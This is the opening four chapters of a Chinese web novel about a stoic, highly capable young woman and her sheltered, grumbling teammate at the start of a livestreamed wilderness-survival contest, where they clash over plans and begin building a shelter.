《荒野求她》
1. 第一天(1)
“咚咚咚。”
木香正瘫在床上嚼着牛肉干,外头忽然响起了敲门声。
她看了看手机,已经快晚上十点了,这个点不会有人找她,估计是敲错门了。
木香没有理会,拿起床头的可乐咕咚喝了一大口,继续嚼着牛肉干。
明天就要进赛场了,木南让她在比赛前尽可能多的吃点高热量高糖分的东西。
所以今天晚上抽签结束后,木香马不停蹄回到客房,开始补充能量。
“咚咚咚!”
敲门声还在继续,让木香变得烦躁起来,没办法,她只好起身,穿好鞋子去开了门。
木突然被拉开,外面正要用力敲门的钟臣溪差点重心不稳,先前扑倒,眼看就要压在木香身上。
木香眉头一皱,伸手往那人身上一推,那人又倒了回去,晃了两晃,才站直身体。
他瞪着木香,脸上忍着气,正要指责,被木香冷眼一扫,钟臣溪一怔,把刚才那点小气恼收了回去。
眼前这个短发瓜子脸的女生,就是他的队友99号。
“99号,我想跟你谈谈!”
木香认识眼前的男人。他是22号,是她这次比赛的队友。
其实她并不想要什么队友,但赛事主办方为了增加看点,规则要求选手组队,选手们可以自行组队,也可以通过随机抽签组队。
木香不认识其他选手,选择了抽签组队。她点子背,抽到了一个文文弱弱的白胖子。
虽然开局不利,但木香对自己的能力很有信心。尽管带了一个包袱,她的目标还是没有变。
“谈什么?”木香冷着脸,不太想搭理白胖子。
“就是比赛的事啊,从明天一起我们就要一起比赛了,有些事我想跟你先说清楚。”
也对。她也有些话想和白胖子交代一下。
客房不大,钟臣溪坐在唯一的椅子上,木香往床边一坐,看着钟臣溪;
“来者是客,你先说。”
钟臣溪也没客气,他清了清嗓子:“好,那我就说了。这次比赛,我是一定要进前二十的。所以我希望我们能融洽配合,一起努力坚持。当然了,你是女生,我也会多照顾你一点……”
他说着去看木香,只见木香脸色平静,从桌子上那一条牛肉干,放到嘴里嚼吧嚼吧,好像什么没听到一样。
钟臣溪皱眉:“我说完了,你觉得呢?我们最好能观念一致,这样才能全力以赴。”
木香抬眼看向钟臣溪,然后重重点头:“你说得在理。不如我们约法三章,免得明天进了赛场争执。”
木香这话说到了钟臣溪心坎里,他生怕这个女人拖累自己,特意过来就是为了提醒她。
“约法三章好,那你有什么想法?”
“多劳者多得。明天进了赛场,资源紧张,谁付出多,就可以优先分配资源,比如睡更好的位置,得到更多的食物。”
钟臣溪眼睛一下亮了:“好啊,我也是这么想的。既然我们想法一样,那没什么问题了。对了,明天是入场的第一天,时间非常紧张,我们先做一下计划吧?”
“你有什么计划?”木香反问。她本对这个白胖子不抱希望,但听他这番话,觉得他还不算太糟糕,至少,他是认真对待这次比赛的。
“第一步当然是抢到一个合适的地方建庇护所。”
木香同意:“可以。”她说着又往嘴里塞了一根牛肉干,
钟臣溪有点小嫌弃,但没表现出来,又开始说他的第二步计划:“找到合适的位置后,我们就分头行动,我去收集竹子木材,你去钻木取火……”
钟臣溪正滔滔不绝畅想未来,忽然响起的歌声打断了他的思路;
“我像只鱼儿在你的荷塘……”
木香赶紧从枕头上摸出自己的直板机,然后按下绿色接听键。
随后,木南的声音就从里面传出来:“明天就要进赛场了,你都准备好了吗?”
“恩,没问题,我会拿下第一。”木香用极为平静的语气夸下海口。
一旁的钟臣溪眼底闪过一丝不屑。
荒野求生比赛是一种极限比赛,对女生难度更大。这次比赛是男女混赛。主办发之前已经举办过几场比赛,但至今没有女生进入前十。
而眼前这位平平无奇的女人,居然说要拿到第一名!
搞不好她熬不过三天就跑了。不过比赛规定,队友退赛,剩下一人可以继续比赛。
也好,这女人早点退赛,省得给他拖后腿。
“那是,以您的能力,第一名稳稳当当的,对了,我看新闻说已经抽签决定了队友,你队友怎么样?”
木香瞄了一眼白胖子,把心里话憋会肚子里,然后含糊几句:“22号,是个男的。”
“没事儿,以你的能力带个小菜鸡也不影响。”
这下钟臣溪怒了:“你说什么,谁是菜鸡?”他还没嫌弃99号呢,怎么反而被人嫌弃了!
“啊?你在房间里吗?怎么有男人?我的姑奶奶,这个时候别乱来啊,你要保存体力啊!”
“他是22号。”木香解释:“他找我商量一下明天的计划。”
“哦……原来是22号啊……”电话那头的木南顿了顿,然后扭扭捏捏问;“你们不会是在床上谈吧?”
“胡说什么呢?信不信我告你诽谤!”钟溪臣气得跳脚,他是那种乱来的人吗?他是那种饥不择食的人吗?
“都给我闭嘴。”木香平静的终止了这个的话题:“你有时间帮我看看租房信息。房子不用太大,位置不要太偏。等我拿到奖金,就从你家搬出去。”
“你放心,这事包我身上。”
交代好事情,木香直接挂了电话。
钟臣溪都忍不住笑了:“你是不是太自信了?比赛还没开始,已经开始计划怎么花奖金了?”’
木香丝毫不心虚:“囊中之物罢了。”
面对这么狂妄的女人,钟臣溪没招了:“OK,明天见,希望你在赛场上也能这么嚣张!”
白胖子阴阳怪气,木香自然不会给他好脸色,她脸一沉,声音冷冷的:“时辰不早了,好走不送。”
“……用不着你送,拜拜!”钟臣溪气哼哼的走出去。
眼见时间不早,木香洗漱后就睡了。她打算明天早点起来吃东西,吃饱喝足,这样一整天也不会饿。第一天很关键,她需要抓紧时间为后面做好准备。
转眼到了
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第二天。
早上七点,百来名参赛选手陆续到了酒店食堂吃饭。大家都穿上了主办发的衣服,也讲各自号码贴按照要求贴在了胸口处。
等下吃过饭,他们就要去比赛入口处集合,接受主办方工作人员检查,然后九点整同时进入赛场。
木香正大口吃着肉包子,旁边坐了一个人,她没有理会,一心一意吃饭。
被无视的钟臣溪没办法,只好打招呼:“早啊。”
木香看了他一眼,一言不发,继续啃包子。
“……”钟臣溪气得不行,这个女的怎么像是恶鬼投胎一样,每次他见到她,她都在吃吃吃。
像是几百年没吃饱饭一样。
算了。为了能进入前二十,他必须忍辱负重。两人既然是队友,关系不能太差。
“还不知道你叫什么,我叫钟臣溪,你呢?”
木香不想费心思去记白胖子的名字,回他:“你叫我99号就行了。”
“你这人怎么这样……”钟臣溪刚准备喷,两个工作人员凑了过来,主播大美拿着手机怼着他的脸拍:
“各位粉丝们好,这就是我们的22号选手,22号,你能跟直播间的粉丝们介绍一下自己吗?”
没办法,钟臣溪只得压下恼火,冲着手机露出灿烂一笑:“大家好,我是22号钟臣溪,来自沪市。”
大美立即接话:“朋友们,这就是我的22号选手,昨天组队抽签直播间里,大家都见过他了,他是这次比赛唯一的江浙沪区选手哦,有没有江浙沪区的家人,可以为他加油。”
大美说着,扫了一眼直播弹幕,又呵呵笑着:“是的,我们22号选手非常帅啊,大家可以多多关注。他有队友的,是99号。”大美说着发现了钟臣溪旁边有人,她注意到木香衣服胸口处贴着99号字样。
“99号也在这里哦!”
当镜头对准木香时,木香依旧不为所动,埋头干饭。她其实并不想当猴子被围观。
前天从家里出发的时候,木南已经详细跟她讲过比赛规则和流程。
木南告诉她,这是个流量为王的时代,主办方和承办方都想通过这场比赛获得关注。选手也要要配合直播录视频。
所以,她别无选择。
“哈喽,99号,我是主播大美。能跟大家聊聊吗?”
大美说着,已经把手机摄像头对准了木香,木香没办法,只得吞下嘴里的肉包子,看向大美,神色平静:
“我是99号,来自桂西。”
“99号,你和22号是抽签组队的,之前并不认识,对吧?”
木香点头。
大美顿时拔高声音:“这里我要透露一个消息哦,99号是唯一一个抽签组队的女性。也就是说,别的女性选手都是自主选定队友的。99号是唯一一个和队友之前不认识的女选手。”
木香费解,这种唯一,也值得说?
直播间顿时蛙声一片。
弹幕各种预想也是五花八门。
大美挑了一条问木香:“99号,马上要进入赛场了,你有没有什么要对22号说的吗?”
木香想了一下,然后淡淡道:“希望他不要拖我后腿吧。”
2. 第一天(2)
“啊?”大美楞住,但她反应迅速:“哇,咱们99号很自信,也很幽默啊。”
而直播间的粉丝更是炸开了锅:
【这女人好大大口气!】
【故意这样说的吧!想吸引关注呗。】
【99号,你别拖22号后腿吧,女人做家务还行,在深山里能干啥?】
【沪市小哥哥真可怜,跟这样的队友组队。】
大美瞄了一眼弹幕,于是又把手机对准旁边的钟臣溪,钟臣溪本来被木香气得黑了脸,见镜头过来,赶紧挤出一个尬笑。
大美没放过他,直接问:“22号,听了99号的话,你有什么想说的吗?”
钟臣溪笑得比哭还难看:“我会证明我的实力,至于拖后腿的那个人嘛,肯定不是我。”
粉丝们看热闹不怕事大,一条条弹幕乱飞:
【没错,真男人就要证明谁才是一家之主!】
【我赌以后这女的坚持不了三天,否则我给她磕三个头!】
大美扫了一眼屏幕,继续提问:“22号,粉丝们很好奇你和99号谁会是主导地位,你自己觉得呢?”
面对镜头,钟臣溪很谦虚:“我们是队友,想要坚持下来肯定要一起合作共同努力,不存在谁是主导地位。”
大美又把镜头对准啃包子的木香:“99号,22号的说法你认同吗?”
木香吞下包子,这才不急不缓道:“哦。”
“……”大美又愣住,还想继续引导她说话,不料这时餐厅外传来一声惊呼:
“小溪,小溪,你在哪儿!”
女人的声音尖锐破耳,餐厅许多人被吸引,纷纷看向门口。
只见一个脚踩高跟鞋,一头褐色卷发,身穿枚红色连衣裙的中年女人正往里面走,她一脸焦急,四处张望。
很快,她就发现了一脸震惊看向她的钟臣溪;
“小溪!”女人高声欢呼,然后踩着高跟鞋,一路小跑冲到了钟臣溪跟前:
“妈可算找到你了,快跟我回去!”
钟臣溪一脸尴尬,压低声音:“妈,我不回去,我要参加比赛!”
“参加什么破比赛哟,你姐都跟我说了,这个比赛就是去山上吃草的,你是属兔,但你又不是真的兔子,怎么能吃草呢?”
直播间又炸了锅,大美发现了热点,赶紧悄悄将镜头对准这对母子。
“妈,你别闹,我来参加这场比赛,就是为了证明自己!”
“证明自己就要吃草?”
钟臣溪一时解释不清楚,只得硬着头皮点头:“是。”
臣溪妈妈神色古怪,她不理解但尊重:“小溪啊,你想吃草没问题,咱家花园有很多草,不够的话我们去内蒙古吃,想吃多少都行,好不好?”
“……”钟臣溪偷偷来参加比赛,就是怕家人阻止,没想到现在弄巧成拙了,他耐着心,语气恳切:“妈,请你相信我这一次,我一定能做到的。”
“……”臣溪妈妈一时错愕,她的小溪还是第一次这么恳求她呢。
一旁的大美提醒:“现在已经七点半了,请选手抓紧时间吃早饭,八点钟要去检查点集合哦。”
钟臣溪赶紧道:”妈,我没时间了,你要是想我就看直播。”他赶紧坐下吃早饭。
臣溪妈在旁边看着,默默擦泪。
直播间的粉丝们开始摇摆了:
【完了,22号好像是个妈宝男,这种人最软弱了,搞不好很快就会退赛啊。】
【人家母子情深,怎么就是妈宝男呢?人家妈妈只是关心儿子好吧。】
【得了,菜鸡和菜狗,我看这对组合一天都撑不过。】
大美还想问点什么,但看99号和22号都埋头干饭,就放弃了,她去采访旁边已经吃好饭的选手。
木香几口干完饭,也不等旁边的22号,她起身提着自己的东西,直接去物品保管处。
按照比赛规则,所有选手进入赛场时,只能穿带赛方统一配发的衣服,四件上衣,一条裤子、一双鞋、两双袜、两件底裤。女性额外有两件运动胸衣,其他的东西全部上缴,交给赛方保管。
今天天热,木香只穿了一件红色短袖,穿不下的衣物用衣服包着,提在手上。她先去把自己的物品放到指定保管位置,然后去了检查处。
为了防止作弊,选手通过检查点,就不能再出来了。
木香到了女士检查点时,发现前面已经排了不少人。
大家都希望能早一点进入赛场,然后挑选一个好的位置搭建庇护所。
这次比赛参赛选手一百二十人人,女性有三十二人,
有两队女女组合,其他都是男女组队。
通过检查后,木香去领了赛方统一发的物资,一把砍刀。
随后,她又跟着工作人员的指引上了进山大巴。
选手们现在在山腰下。而比赛的场地在山上,赛方会用大巴车把选手送上去。
大巴车还空了一半,需要坐满人才出发。
选手们都两两坐一块,大家脸上满是兴奋和期待,对即将到来的比赛他们充满信心。
“从这里到赛场入口大概需要四十分钟,坐满人后就发车,大家请耐心等待一下。”工作人员又说了一些注意事项,很快他注意到独自一人的木香。
他过来问:“99号,你怎么一个人,你的队友呢?”
木香老实摇头:“不知道。”
“……”那人懵了一下:“不知道,你们不在一起吗?”
“不在一起。”
“……”这名工作人员欲言又止,最后还是好心提醒:“你最好还是和队友一起,毕竟没有联系工具,等下走散了,那么大的山,找个人也不方便啊。”
“恩。”木香回答得很敷衍。
工作人员也不再多说。他正准备下车,忽然一个帅气的小伙子急吼吼地冲上车,他目光扫视一周,很快发现了单独一人的木香。
她正气定神闲,闭目养神。
钟臣溪气急败坏:“99号,你为什么不等我!”
木香慢慢睁开眼,看向急吼吼的钟臣溪,她神色淡然,语气平静:“我什么要等你?”
“可是我们是队友啊!不是说好要一起合作的吗?”
“我先上车,不耽误我们合作。”
“……”钟臣溪想反驳,木香已经闭上了眼睛。
钟臣溪气哼哼的,拖着自己的东西坐在了木香身边。
他感觉有点无聊,下意识去口袋摸手机,结果摸了个空。钟臣溪这才反应过来,从现在开始,他们就要远离现代社会了。
周围其他选手因为无聊,都在聊天。
钟臣溪看了一眼还在闭目养神的99号,偷偷瞪了她一眼,然后也学着99号的样子闭目养神。
但他静不下来。
一些迷乱的、嘈杂的声音不断在他脑海里浮现:
“他不过是个富三代,有什么了不起的?”
“跟他爸妈一个样,游手好闲的,我看钟家的家业,迟早玩完!”
“他跟他姐姐相比,差远了!”
钟臣溪不愿再回想这些,他睁开眼,看向一边的木香:“哎,我们聊聊天吧。”
“……”木香皱眉,这个白胖子好碎嘴。
“你还没告诉我你叫什么呢。”
“叫我99号就可以了。”木香冷冷回。
“……好吧。99号,你还得我们昨晚的约定吧,等下一进赛场,就马上去找庇护所。”
“知道。”
钟臣溪不满:“你就不能多说几个字?”
“我要节约体力。’因为从现在开始,他们就要靠自己在山上找吃的了。
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>“……少说话节约体力?”钟臣溪看着99号,目光复杂,既然觉得她怪,又觉得她对。
这女人,还真想拿冠军啊。可惜啊,她把事情想简单了,荒野求生,可不是靠不说话就能熬过去的。
约莫一个小时后,选手们陆续乘坐大巴来到了赛场入口处。
赛场是一大片山林,里面足足有七八座山头,总面积将近800亩,场地边缘多有悬崖峭壁,形成天然隔离带。其他能与外面联通的地方,赛方也设置了隔离标志,并安装有摄像头,选手如果离开赛场等同自动退赛。
大约九点半,一百二十名选手和几十名赛方工作人员齐聚赛场入口。工作人员拿着大喇叭,将赛事规则重新讲解了一遍。
“本次比赛共有三个赛区,分别是西边,北边和东边。大家可以自行选择。”
随着一声;“比赛开始!”,一百多名选手争先恐后地冲破红带,奔向森林,有的人一边跑还一边大喊欢呼,那场景,堪比万猴入林,声势浩大!
钟臣溪自然不甘落后,他背着包袱,拔腿就准备跑,忽然又想到什么,扭头去看木香,只见木香提着包袱,不紧不慢走着。
”你逛街呢?快走啊,赶紧去找庇护所啊!”眼见着大家一窝蜂的冲到了前面,钟臣溪自然着急。
木香却不急,她抬头环顾,发现大部分选手往正北方跑去。那是赛方为了工作人员进山方便,提前修整出来的路,从那里上山,是最方便的。
木香却调整方向,朝着西北方走去,那边是一片陡坡,而且林木繁密,从那里上去很不容易。
同样往这边来的选手有十几人,大家闷不做声,一个劲的往前冲。
从进入赛场的一刻起,他们都是竞争对手。每一人都想抢占更好的位置,收集到更多的生存资源。
钟臣溪正卯足干力气跟大部队冲,回头一瞧;咦?99号呢?
他慌忙停下脚步,四下一看,这才发现99号朝着另一个方向跑了。
因为山地崎岖,很多选手走得磕磕绊绊,甚至有的直接跌倒了,而99号却健步如飞,一眨眼的功夫,就跑出了一段距离。
钟臣溪急了,连忙掉头去追99号,边追边喊:“99号,你去哪里,你走错了,这边,这边!”
木香只是回头看了一眼白胖子,并不多话,继续往前冲,钟臣溪气得咬牙,他只恨自己出师不利,找了个这样的队友。
但事已至此,他只能跟上99号。因为比赛规定,两人一组参赛,只能搭建一个庇护所,否则就是违规。严重违规的情况下,会强制退赛。
如果他参赛第一天就被迫退赛,那他以后说话跟放屁有什么区别?
不多时,木香和一些选手已经到了北面的山坡底下,大家也不废话,开始手脚并用爬山,木香缺不着急,她先找到一些长条形的叶子,一层层的裹在手上,这才开始攀爬。
她看准能借力的植物、石头,伸手抓住,然后脚下一登,就跳上了山坡,紧接着,她用同样的办法,三下两下就爬到了坡上。
旁边几个选手看得目瞪口呆,甚至有几个选手根本爬不上来,还在那连滚带爬,原地打转。
钟臣溪就是其中之一,他好不容易往上爬一步,却因为脚下一滑,又从坡上滚了下来。
因为昨晚下了雨,坡下一片泥泞,钟臣溪一屁股坐在泥里,心态差点蹦了;
他大吼着:“99号,我跟你没完!”
他声音嘶哑凄厉,惹来大家注意,正巧旁边有主播,赶紧调整镜头对准钟臣溪:
“小伙伴们,注意看,比赛刚开始二十分钟,已经有选手心态崩坏了。让我们给他加油!”
直播间弹幕一片嘲讽;
【就这来参赛,赶紧回家找妈妈吧】
【哈哈哈哈哈!这不是22号吗?今天早上他妈还真来找过他!】
3. 第一天(3)
木香一口气往上爬了十多米,她听到22号喊她,向下一看,却因为灌木茂密,看不清22号身影。
木香虽然看不上22号,但也清楚比赛规则,除非22号主动退赛,否则他们两人只能共用一个庇护所。也就是说,她无法摆脱他。
她不得朝着下面大喊:“22号,我先去上面找位置,你跟过来。”
正在努力攀爬的钟臣溪听到这话,气消了一半。虽说99号一意孤行,但好歹是在努力。
“知道了。我会跟上你的。”钟臣溪知道现在不是计较的时候,既然目前99号速度比他快,他只能配合。否则两个人走散了,就麻烦了。
这片陡坡对其他选手来说,都是一个挑战,他们既要绕开灌木荆棘,也要当心脚下不稳滚下坡。
而木香却像是猴子归山,她迅速向上攀爬,很快和别人拉开了一段距离。
别的选手见状,咬紧牙根,赶紧爬。
木香很快翻上了坡顶,坡顶另一面,地势缓缓向下,和对面的山相夹,形成一条山谷。山谷底下有溪流。
木香站在这边,往对面山上扫视一圈,很快有了主意,她转过身来,向下又是一声大吼:
“22号,我去溪对面山上了,跟上!”
很快,坡下传来吼叫:“知道了!”
又过了半个多小时,等钟臣溪爬上这边坡顶的时候,已经好几组选手到了溪谷。
有几个组合在山谷下停了下来,看来打算就在山谷下搭建庇护所。
另有一对男男组合庇护所看中了山谷东南侧的石洞,这里有一块巨石往外突出一米多,正好可以当屋顶。
钟臣溪一边往山谷下,一边望向对面山上,大声搜寻99号:“99号,你在哪里?”
他连喊几声,都没有人回应,钟臣溪心里那股火又冒出来了。
“99号!”他扯着嗓子破音大吼。
此时,主播老帅正在跟拍山洞组合,直播间的粉丝听到声音,立即认出来了:
【他在找99号?那不就是22号吗?他还在找队友呢?】”
【真惨,开局就被队友抛弃了。】
【99号有点过分吧,不管怎么说也不能丢开自己队友啊。】
【预测这是第一个退赛的组合。】
钟臣溪连喊几声,嗓子哑了。但还是没有得到99号的回应,他怒气上头,对99号骂骂咧咧起来:
”什么人啊,太缺德了!”
就在这时主播老帅却出现在他面前。
原来,老帅察觉到22号是一个看点,赶紧结束了山洞组合的直播,直奔着22号来了。
钟臣溪看到老帅,连忙把嘴巴闭上。
为了文明直播,老帅假装没听见他骂人,笑嘻嘻问:“22号选手,刚才我听到你一直在找99号,怎么回事?”
钟臣溪挤出一个笑:“没什么,我和她暂时走散了。”
老帅继续问:“你和99号是临时抽签的组合,之前不认识对吧?这样的情况,你们在相处方面会不会遇到一些矛盾?”
钟臣溪嘴很硬:“没什么矛盾,我和她沟通过,我们会一起努力。”
“那就好。比赛第二,友谊第一嘛。对了别的选手已经选好地址了,你有什么打算?”
就在这时,山中传出一声大吼:“22号,过来!”
那声音听着有些渺茫,像是从很远的地方传来的,钟臣溪一愣,抬头向山上望去,终于,他在西北面山上的一棵大树上看到一个红衣小人。
只见99号正一手抱着树干,一手朝他挥动:“这里!”
钟臣溪差点跳起来,因为22号所在的位置在很高,在山腰之上,在那里搭建庇护所,取水很不方便。
“你怎么跑那去了?”当着主播的面,钟臣溪压着火问。
但木香并没有听清楚,她给22号传递消息后,就爬下了树,她已经找到了不错的位置,打算在这里搭建庇护所。
现在已经快中午了,天黑之前,他们必须搭建好木屋的基本框架。
木香选定的位置有一片垂直的石壁。这块石壁东南朝向,而现在已经入秋,西北风将起,这面石壁正好可以挡风。
只不过,石壁前的地面并不平整,且上面树木杂草丛生。来天云山之前,木南用了整整三天为她讲解参赛规则,赛方对砍树和捕猎都有严格规定,超过一定尺寸的树木不能砍伐,枯树除外。受保护的动物也不能捕猎。
木香扫了一眼,石壁前面的一片范围里,只有一棵树不能砍,这棵树距离石壁有两丈,不会影响她搭建房屋。
心里做好盘算后,木香开始行动,她重新找了草将手掌裹好,然后开始清理石壁周围的地方,把上面的灌木、杂草清理掉,然后堆放在一边。
等木香清理出一下片地方后,钟臣溪才姗姗来迟,他从谷底一路爬过来,越是向上林木杂草越是茂密,要不是听到了“咚咚咚”的声音,他可能都找不到这里。
钟臣溪扶着腰,大口喘着气,从比赛开始到现在,他一直在忍耐着99号,现在已经是忍无可忍了!
他几步冲到99号身边,正要发泄一下情绪,忽然瞪大眼:只见石壁之下,一块四米见方的地面已经被清理出来,看得出来是个长方形,显然99号已经开始搭建庇护所了。
此刻99号正蹲在长方形一角挖坑,看来是在打地基。
原本还想骂两句的钟臣溪熄了火,不管怎么说,99号是干实事的人。
不过,他还是有担忧:“这里距离下面河谷来回要一个多小时,取水太不方便了。”
木香头也没抬,淡淡道:“这附近有山泉。”
钟臣溪顿时眼睛发亮:“在哪?我去看看。”
木香抬头扫了他一眼:“先挖坑。”
那淡淡中透着股犀利的眼神,让钟臣溪不由自主的顺从:“哦。”
他选了另一个角,开始挖坑。四个角都挖好坑后,木香又点了四个位置,让钟臣溪继续挖。她打算在房子四面的中间位置再补充一根承重柱。这样一共八根承重柱,房屋会更坚固。
“四角四根承重柱不就够了吗?差不多能住就行了,我们还是不要浪费时间了,现在差不多是下午一两点了,还有很多事没做……”
木香又是淡淡一眼:“你是不是想进前二十?”
“当然!进不了前二十,就算饿死我也不回去!”
”那就听我的。”
“凭什么听你的?听你的就能进前二十?”钟臣溪冷笑,他承认,99号目前看来确实有几分本事,体力不输男人,但这句话也太大口气了。
她谁啊,能保他进前二十?
见22号不服的样子,木香没有再说好,她也不恼火,只是自己默默蹲下,继续挖坑。
“……真的没必要再浪费时间和力气了,比赛前我做了很多准备,看了很多相关视频,庇护所只要不倒塌,能遮风挡雨就行了……”
木香像是没听到一样,继续挖坑。
“你这人,算了,怕你了。”见22号我行我素,钟臣溪再一次妥协,也就是多挖四个坑嘛!他挖还不行吗!
挖好坑后,木香起身:“我去砍木头。旁边有竹子,你去砍一些劈开。
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”
不等钟臣溪说话,木香转身就走,钟臣溪急了,追了两步:“不先去找吃的吗?我饿了!”
但木香根本不搭理他,自顾自的就往山上走去。
“……算了,就当我倒霉。”遇到这样的队友,他能怎么办?其实比赛前,钟臣溪也想过找个厉害的队友,但转念一想,如果那样做,就有作弊嫌疑。为了证明自己,他选择了抽签决定队友。
但上天没有怜惜他的真诚,反而狠狠戏弄了他一番。
钟臣溪从包袱里拿出赛旗,挂在小树上。挂赛旗意味着这里已有主人,其他选手不能靠近这里十米之内,更不能偷窃物资。
他们庇护所不远处就有一小片竹,钟臣溪过去砍竹子。在参赛前,钟臣溪做了许多准备,其中就包括练习砍竹子、砍树木。
这点小事,轻松松松。
但很快,钟臣溪发现轻松不起来了,从早上到现在过去了五六个小时,他肚子空空,和在家练习砍树是两种情况了。
他只得忍耐着饥饿,咬着牙砍竹子,砍了几根竹子后,他手脚发软,正打算坐下休息休息,主播老帅来了。
老帅是听着声音找过来的,他将镜头对准钟臣溪:“小伙伴们,又见到我们的22号了,这是来自上海的22号选手,他现在正在砍竹子!”
“……”正准备坐下休息的钟臣溪立即挺直了身体,抡起砍刀继续砍竹子。
“22号,忙着呢?你的队友呢?”
“她去砍木头了。”
“看来你们合作得很愉快啊,直播间的小伙伴们也可以放心了。”
钟臣溪瘪嘴,他还不知道网上那些人,一个个都是闲着没事干,就等着看热闹的,眼巴巴就等着他和99号吵架呢。
他才不会让这帮人如愿。
“22号,听说你这次来参赛,是背着家人来的?”
“……算是吧,我怕他们担心,所以没有告诉他们。”
“理解啊,也不知道直播间有没有22号的家人,如果有的话,请你们放心,22号适应性很强啊,状态也很好。”
“虽然22号来自大城市,但看他砍柴很熟练啊,看来是有备而来啊。”
砍了一会儿,钟臣溪没力气了;“我先把这些拖回去吧。”
“那我跟着你,正好看看你们的庇护所位置。”
钟臣溪找了根树藤,将他砍下来的十几根细竹子捆好,然后将竹子一头抗在肩头。
靠,怎么那么重!
那一下子,他差点脚下一软被压垮,钟臣溪咬着牙,拼命挺直身体,生怕被人笑话。
但事与愿违,肩膀那上百斤的重量让他暴露原型,他摇摇晃晃,颤颤巍巍一步一步往前走。
老帅马上察觉不对劲:“22号,是不是太重了啊?”
钟臣溪咬着牙:“不重,一点儿也不重。”可惜他的声音都打颤了。
直播间一片欢乐:
【全身上下嘴巴嘴硬,明明差点被压扁了。】
【城巴佬是这样的,这一捆竹子不到一百斤,要是我啊,轻松得很。】
【饿了大半天,又爬山又砍树,现在没力气不是很正常吗?】
【22号,加油!】
直播间吵得热火朝天,老帅见了连忙跟紧22号:“22号,大家都在为你加油。”
“谢谢大家。”他声音又喘又颤,直播间又是一阵狂欢。
【哇靠,这给我干到哪儿来了?】
【主播,你这车不是通往幼儿园的吧?快停下,我要下车!】
【啧啧啧!直播间要被举报了!】
4. 第一天(4)
眼看着网友们越说越离谱,老帅赶紧岔开话题:“小伙伴们,我们马上要去22号和99号的庇护所了。这对组合的庇护所比较高,快靠近山顶了,虽然远离河谷,十分的安静啊,晚上一定能睡个好觉……”
直播间的粉丝却并不认同:
【这种环境,越是安静越睡不着吧?】
【会不会发生意外?】
老帅一边跟着22号,一边解释:“这个放心,等选手们确定好庇护所后,巡查员会在附近位置扎营,就近守护他们。而且,每个选手都有定位器,定位器不仅能定位,还有报警按钮,按下去就有警报声,巡查员听到报警声,马上赶到选手身边。另外还能和赛场入口的巡查大本营通话!”
虽然这片竹林距离他们的庇护所不远,但钟臣溪却觉得像是走过了十万八千里,等到了位置,他赶紧将肩膀上的竹子往地上一丢。
那一瞬间,就像是卸下千金重担,舒坦!
钟臣溪正喘着气,老帅已经发现了他们打的地基,看清楚地基周边的环境后,赞叹连连:
“这个选址不错啊,背靠巨石,地面也算平整,只要稍微整理一下就好了……”
就在这时,有窸窸窣窣的声音从上面传来,山坡上草木茂密,看不清楚是什么。
老帅和钟臣溪都是一惊,两人交换了个眼神后,老帅小心试探:“有人在那儿吗?谁啊!”
对方并没有回应,反而窸窸窣窣的声音越来越靠近。
直播间炸了;
【快跑,是野猪,这动静应该是大公猪,你们两个干不过的,赶紧跑吧!】
【定位器呢,定位器呢,赶紧报警啊!】
老帅手忙脚乱找身上定位器,但越忙越乱,就是找不到定位器。
钟臣溪两只手抓紧砍刀,目光紧紧盯着有动静的方向。
就在这时,灌木从中钻出一个人影。
只见一个短发女人面无表情的站在那里,肩膀上扛着两根大枯木。
她身上红色的短袖上贴着99号字样标签,正是22号的搭档99号。
99号淡淡的扫了两人一眼,然后默默将两根木头拖了过来,哐当两声,扔在地上。
那两根木头直径有普通碗口那么大,一根少说有几十斤,就算是一个强健的男人都未必能一口气扛两根,但99号女人做到了。
她不仅做到了,还云淡风轻。
现场两人还在震惊中,99号转向22号,语气平静又不容置疑的下了命令;
“把这根木头砍一下,高度……跟你差不多高就行。”
22号傻傻的望着99号,好像魂游天际。
木香皱眉:“你听到了吗?”
“好的。”钟臣溪回神,自动接受任务。
木香这才点头,她说完转身,再次往山上去了。
钟臣溪追问:“你去哪儿?”
木香没有回他,因为她觉得这个问题很傻。一共八个坑,需要八根承重柱。另外还需要四根横梁柱,她去干什么还用问吗?
“……”
直播间沸腾了:
【这女人,好像有点强啊!】
【泰裤辣!】
【高手,绝对是高手!】
【人狠话不多啊,主播,你还等着什么,快跟上99号啊!】
【对对对,我们要看99号!】
别说直播间的网友了,老帅也被99号给吸引了,她看起来并不强壮,长得还有几分清秀,居然一下子能抗一根大木头!
“99号,等等我!”
老帅赶紧追过去,但已经不见了99号的身影。
老帅傻了眼,只能大声喊:“99号,你在哪里啊?”
没人理他。
最后,老帅根据声音,找到了正在砍树的99号。
网友们热情高涨,在直播间问东问西,老帅也迫不及待和99号对话:
“99号选手,介绍一下自己吧,网上的小伙伴们对你很感兴趣。”
“……”面对着笑嘻嘻的主播,木香很烦躁,但不能撕破脸,她只得指了指自己胸口的标签:“99号。”
“……99号,你能多介绍一下自己吗?”
“说话会消耗力气。”99号淡淡回。
说完,她举起砍刀砍树,忙忙碌碌似乎根本没工夫应付主播。
老帅无奈,只好开启自言自语模式:“小伙伴们,99号正在砍树,这棵树直径大概七八厘米,是符合规则的啊。99号砍这个树估计是用来做庇护所的……”
虽然99号不理人,但网友们热情高涨,都喜欢看她。
【她砍这么久都不累吗?】
【99号是有点实力的。估计能多熬几天!】]
【再厉害也是女人,这种环境坚持不了的。要是配个厉害搭档还行,但那个22号也是菜鸡!】
老帅跟拍了十几分钟后就离开了,第一天赛场上选手众多,老帅还要去拍别的选手。
老帅一走,木香顿时觉得轻松了很多,她不习惯被人盯着,更何况听说这种直播后面几千几万甚至几十万人。一想到被几十万人盯着干活,木香头皮都麻了。
木香动作顺畅了许多,不一会儿她就砍倒了树,木香稍微处理一下,扛起树干,打道回府。
回到家里,木香发现她先前带回来的两根木头已经砍成她需要的长度。
旁边也堆了一堆细竹竿。
22号不在家,但她听到附近传来劈砍的声音。
22号还在努力砍竹子。
还算有点用。
木香丢下木头,打算离开继续去砍树,22号拖着一捆细竹竿回来了。
他叫住正要走的木香:“你还要去砍树吗?时间不早了,我们应准备一下怎么过夜了!”
钟臣溪估摸着现在已经三点了,再过三个小时天就黑了。
而他们现在没吃没喝,睡觉的地方连根草都没有。
“要先把屋顶搭起来,你跟我一起去。”
“又听你的,你是队长吗?我觉得我们现在得先找吃的!”
见22号不听话,木香也不勉强,她继续上山砍树。
房子四角的承重柱最紧要,所以必须到处去寻找比较粗的树木。四角承重柱她已经准备好。
接下来就可以选择稍微细一点的木头。
所以木香不需要走太远去寻找合适的树木,她就在附近砍树,一段时间后,她收集到了需要的木材。她开始吧木材运回去。
